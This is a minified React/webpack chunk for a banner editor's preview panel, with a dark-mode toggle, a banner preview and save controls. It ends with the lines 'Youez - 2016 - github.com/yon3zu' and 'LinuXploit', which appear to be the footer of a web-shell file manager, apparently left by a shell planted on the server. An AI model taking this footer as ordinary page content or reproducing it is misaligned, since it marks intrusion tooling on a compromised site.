gap-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:"text-xs text-gray-500 dark:text-gray-400",children:previewDarkMode?"Dark Mode":"Light Mode"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{type:"button",onClick:()=>setPreviewDarkMode(!previewDarkMode),className:`\n                      relative inline-flex h-5 w-9 flex-shrink-0 cursor-pointer rounded-full border-2 border-transparent\n                      transition-colors duration-200 ease-in-out focus:outline-none\n                      ${previewDarkMode?"bg-gray-700":"bg-yellow-400"}\n                    `,title:"Toggle light/dark mode preview",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("span",{className:`\n                        pointer-events-none inline-block h-4 w-4 transform rounded-full bg-white shadow ring-0\n                        transition duration-200 ease-in-out flex items-center justify-center\n                        ${previewDarkMode?"translate-x-4":"translate-x-0"}\n                      `,children:previewDarkMode?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"moon",className:"w-2.5 h-2.5 text-gray-700"}):(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"sun",className:"w-2.5 h-2.5 text-yellow-500"})})})]})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"rounded-lg p-6 flex items-center justify-between",style:{backgroundColor:previewDarkMode&&formData.darkBgColor?formData.darkBgColor:formData.backgroundColor,color:previewDarkMode&&formData.darkTextColor?formData.darkTextColor:formData.textColor},children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"right"===formData.imagePosition?"order-1":"order-2",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-lg font-bold",children:formData.headline||"HEADLINE"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-xl font-semibold",children:formData.title||"Title"}),formData.description&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-sm mt-1 opacity-80",children:formData.description}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("button",{type:"button",className:"mt-3 px-4 py-2 bg-blue-600 text-white rounded-lg text-sm",children:formData.ctaText||"Shop Now"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"w-32 h-32 flex items-center justify-center "+("right"===formData.imagePosition?"order-2":"order-1"),children:formData.imageUrl?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("div",{className:"relative w-full h-full",children:(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(next_image__WEBPACK_IMPORTED_MODULE_2__.A,{src:formData.imageUrl,alt:"Preview",fill:!0,sizes:"128px",className:"object-contain"})}):(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"image",className:"w-12 h-12 opacity-30"})})]}),showDarkMode&&(formData.darkBgColor||formData.darkTextColor)&&(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)("p",{className:"text-xs text-gray-500 dark:text-gray-400 mt-2 text-center",children:"Toggle to preview light/dark mode appearance"})]}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)("div",{className:"flex justify-end gap-3 pt-4 border-t border-gray-200 dark:border-gray-700",children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui__WEBPACK_IMPORTED_MODULE_4__.$n,{type:"button",variant:"outline",onClick:onClose,disabled:saving,children:"Cancel"}),(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui__WEBPACK_IMPORTED_MODULE_4__.$n,{type:"submit",disabled:saving,children:saving?(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsxs)(react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.Fragment,{children:[(0,react_jsx_runtime__WEBPACK_IMPORTED_MODULE_0__.jsx)(_components_ui_icons__WEBPACK_IMPORTED_MODULE_5__.In,{name:"loader",className:"w-4 h-4 mr-2 animate-spin"}),"Saving..."]}):banner?"Save Changes":"Create Banner"})]})]})]})})}}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit